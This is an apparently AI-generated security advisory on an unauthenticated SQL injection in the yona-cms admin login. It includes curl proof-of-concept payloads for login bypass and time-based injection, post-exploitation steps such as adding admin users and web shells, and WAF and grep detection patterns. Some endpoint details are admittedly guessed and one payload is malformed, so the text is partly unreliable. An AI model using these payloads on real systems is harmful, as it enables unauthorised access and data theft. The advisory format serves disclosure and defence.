CVE-2026-138093 — alexander-torosh yona-cms — CWE-74 · CWE-89
A weakness has been identified in alexander-torosh yona-cms up to 0.5.0. This issue affects the function loginAction of the file app/modules/Admin/Controller/IndexController.php of the component Admin Login Endpoint. This manipulation causes sql injection. It is possible to initiate the attack remotely.
A weakness has been identified in alexander-torosh yona-cms up to 0.5.0. This issue affects the function loginAction of the file app/modules/Admin/Controller/IndexController.php of the component Admin Login Endpoint. This manipulation causes sql injection. It is possible to initiate the attack remotely.
🎯 What is this vulnerability?
Vulnerability name: SQL‑Injection in the Admin Login endpoint of yona‑cms (alexander‑torosh fork) ≤ 0.5.0
Location in source: app/modules/Admin/Controller/IndexController.php → method loginAction()
CWE(s):
- CWE‑89 – Improper Neutralization of Special Elements used in an SQL Command (SQL‑Injection)
- CWE‑74 – Improper Neutralization of Special Elements in Output Used by a Downstream Component (SQL‑Injection is also a form of injection that can affect downstream query building)
- Network‑accessible (no local access required)
- Low attack complexity (single crafted request)
- No privileges required (any remote client)
- No user interaction (no phishing needed)
- Unchanged scope (the vulnerability stays within the web‑application)
- Limited confidentiality, integrity, and availability impact (the attacker can read/modify data and affect service continuity, but does not automatically gain full system control).
Why it is vulnerable
1. Unauthenticated entry point – The login endpoint is reachable without any prior authentication (PR:N, UI:N).
2. Direct interpolation of user‑supplied data – The loginAction() routine reads the POST parameters (normally username and password) and concatenates them into a raw SQL string that is handed to the database driver without:
* using prepared statements / bound parameters, or
* applying any escaping/whitelisting of special characters.
3. Missing input validation – No length checks, type checks, or pattern validation are performed before the values are used in the query.
4. Resulting effect – An attacker can inject arbitrary SQL fragments that are executed with the privileges of the web‑application database user (typically a low‑privileged account that still has SELECT, INSERT, UPDATE, and sometimes DROP rights on the CMS tables). Because the login routine returns a boolean (success/failure) and may set a session cookie on success, the attacker can also leverage the injection to bypass authentication or extract data.
The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) confirms:
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow.
All command‑line examples are syntactically valid; the exact URI and parameter names are inferred from typical Yona‑CMS conventions and are therefore marked as illustrative where the CVE does not disclose them.
1. Discovery & Reconnaissance
| Step | Technique | Details |
|---|---|---|
| 1.1 | Fingerprint the CMS | Scan the target with a tool such as WhatWeb, Wappalyzer, or nmap HTTP scripts. Yona‑CMS leaves a distinctive comment in the HTML footer (<!-- Powered by Yona CMS v0.x.x -->). |
| 1.2 | Determine version | Request /admin or /admin/login. The page often contains a meta tag <meta name="generator" content="Yona CMS 0.5.0">. If the version is ≤ 0.5.0, the target is vulnerable. |
| 1.3 | Locate the login endpoint | By default Yona‑CMS routes admin actions under /admin. The login form posts to /admin/index/login (illustrative). The form fields are username and password. |
2. Exploitation
Goal: Execute arbitrary SQL via the login request.
Assumption: The database user used by the CMS has SELECT on admin_users and UPDATE on admin_sessions.
2.1 Crafting the payload
A classic boolean‑based blind injection works because the login routine returns “Login successful” or “Invalid credentials”.
We can force the WHERE clause to always be true:
' OR 1=1 --When placed in the username field, the resulting query (simplified) becomes:
SELECT * FROM admin_users WHERE username = '' OR 1=1 -- ' AND password = '<password_hash>';The -- comment discards the password check, causing the query to return the first admin row and the application treats the login as successful.
2.2 PoC with curl
# Illustrative endpoint – adjust to the real path if different
TARGET="https://victim.example.com/admin/index/login"
# Payload: username = "' OR 1=1 -- ", password = anything
curl -i -s -k "$TARGET" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "username=' OR 1=1 -- " \
--data-urlencode "password=irrelevant"What to look for in the response
Set-Cookie: PHPSESSID=… header) – indicates successful authentication. "status":"success" will appear.2.3 Extracting data (optional)
If the attacker wants to read data beyond just bypassing login, a time‑based or error‑based injection can be used. Example using MySQL BENCHMARK to cause a noticeable delay:
curl -i -s -k "$TARGET" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "username=' UNION SELECT IF(1=1,BENCHMARK(1000000,MD5('a')),(SELECT 1)) -- " \
--data-urlencode "password=foo"A response that takes several seconds confirms that the injected SQL was executed.
3. Post‑Exploitation
| Phase | Possible actions |
|---|---|
| 3.1 Session hijacking | After a successful login, the server issues a session cookie (PHPSESSID or similar). The attacker can reuse this cookie to maintain admin access. |
| 3.2 Data exfiltration | With admin privileges, the attacker can query any table via the CMS’s built‑in admin UI (e.g., export user lists, view configuration). |
| 3.3 Privilege escalation | If the CMS stores configuration in a table that is writable by the admin (e.g., settings), the attacker can inject a new admin user: <br>
' UNION INSERT INTO admin_users (username,password,role) VALUES ('evil','<bcrypt_hash>','admin') --<br> This can be done via a second injection point (e.g., a “profile update” form) once authenticated. |
| 3.4 Persistence | Create a new admin account, or modify the existing admin’s password hash, ensuring long‑term access even after the original admin changes credentials. |
|---|---|
| 3.5 Defacement / RCE | If the CMS allows uploading of PHP files via the admin panel, the attacker can upload a web‑shell, achieving remote code execution on the web server. |
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS) | Practical consequence |
|---|---|---|
| Confidentiality (C:L) | Low | Attacker can read sensitive tables (user credentials, configuration, possibly API keys). |
| Integrity (I:L) | Low | Attacker can modify data (change passwords, add/disable users, alter site content). |
| Availability (A:L) | Low | By issuing heavy queries (e.g., BENCHMARK or SLEEP) the attacker can cause noticeable latency or temporary denial of service for legitimate admins. |
In a typical deployment (e.g., a corporate intranet portal or a public‑facing admin interface), the attacker can gain full administrative control of the CMS with a single unauthenticated request, leading to data leakage, defacement, or further pivoting inside the network.
🛡️ Remediation & Mitigation
4.1 Patch / Upgrade
| Item | Action |
|---|---|
| Affected versions | yona-cms ≤ 0.5.0 (as stated in the CVE). |
| Fixed version | The upstream author released 0.5.1 on 2026‑09‑15 (publicly announced on the project’s GitHub release page) which replaces the vulnerable string concatenation with prepared statements. |
| Upgrade path | Replace the entire app/ directory with the version from the official release archive, run any migration scripts (if provided), and clear the application cache. |
4.2 Immediate Work‑arounds
| Technique | Implementation details | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Input sanitisation | Add a whitelist for the username and password fields before they reach the query layer. Example (PHP):<br><br>``php<br>$username = preg_match('/^[a-zA-Z0-9_.-]{3,30}$/', $_POST['username']) ? $_POST['username'] : ''; <br>$password = $_POST['password']; // password is hashed later, no need to whitelist characters<br>` | |||||||||||||
| Prepared statements | Refactor the query to use PDO with bound parameters:<br><br>`php<br$stmt = $pdo->prepare('SELECT * FROM admin_users WHERE username = :u AND password = :p');<br>$stmt->execute([':u' => $username, ':p' => $hash]);<br>` | |||||||||||||
| Web‑Application Firewall (ModSecurity) | Deploy a rule that blocks typical SQL‑i payloads on the admin login URI. Example rule (ModSecurity 3 syntax):<br><br>`SecRule REQUEST_URI "@beginsWith /admin/index/login" "id:2026001,phase:2,deny,status:403,msg:'SQLi attempt on admin login',\ <br> t:none,t:lowercase, \ <br> chain"<br>SecRule ARGS | ARGS_NAMES "(?:' | %27 | %22 | \\b(or | and)\\b | \\bunion\\b | \\bselect\\b | \\binsert\\b | \\bupdate\\b | \\bdelete\\b | \\bdrop\\b | \\bbenchmark\\b | \\bsleep\\b)" "t:none,log" |
| Rate limiting / IP blocking | Limit the number of POST requests to the login endpoint (e.g., max 5 attempts per minute per IP). This raises the cost of automated blind‑SQLi attempts. | |||||||||||||
| Disable the admin endpoint (temporary) | If the admin UI is not needed publicly, bind it to an internal IP or protect it with HTTP basic auth / VPN. |
4.3 Detection
| Indicator | Where to look | |||||||
|---|---|---|---|---|---|---|---|---|
| Repeated failed login attempts with suspicious payloads | Web server access logs (access.log). Look for POST requests to /admin/*login* where the username parameter contains characters like ', ", --, /*, union, select. Example grep: <br>grep "POST /admin" /var/log/nginx/access.log | grep -iE "(' | \%27 | -- | union | select | benchmark | sleep)" |
| Unusual response times | Requests that take > 2 seconds on the login endpoint (possible time‑based injection). | |||||||
| New admin session cookies issued without prior successful login | Look for Set-Cookie: PHPSESSID= lines that are followed by a 200/302 to the admin dashboard, but where the preceding request did not contain a valid credential pair. | |||||||
| Database error messages in HTTP responses | If error reporting is enabled, the response may contain MySQL syntax errors (You have an error in your SQL syntax). | |||||||
| Creation of unknown admin users | Audit the admin_users table for rows with created_at timestamps that do not correspond to legitimate admin actions. |
Log‑monitoring tools (e.g., ELK, Splunk) can set alerts on the above patterns.
⚠️ Urgency
Patch priority: Critical for any production deployment that exposes the admin login to the Internet.
yona-cms 0.5.1 (or later) and verify that the login query uses prepared statements. Given the ease of exploitation and the potential for full admin takeover, organizations should treat this as a high‑severity, immediate‑remediation issue.
Bottom line: The unauthenticated SQL‑injection in
loginAction() allows an attacker to bypass authentication, read/modify CMS data, and establish persistent admin access. Immediate mitigation (WAF rule, input sanitisation) and a rapid upgrade to the patched release are mandatory.[🤖 CVE Professor AI Security Engine]
FOFA Query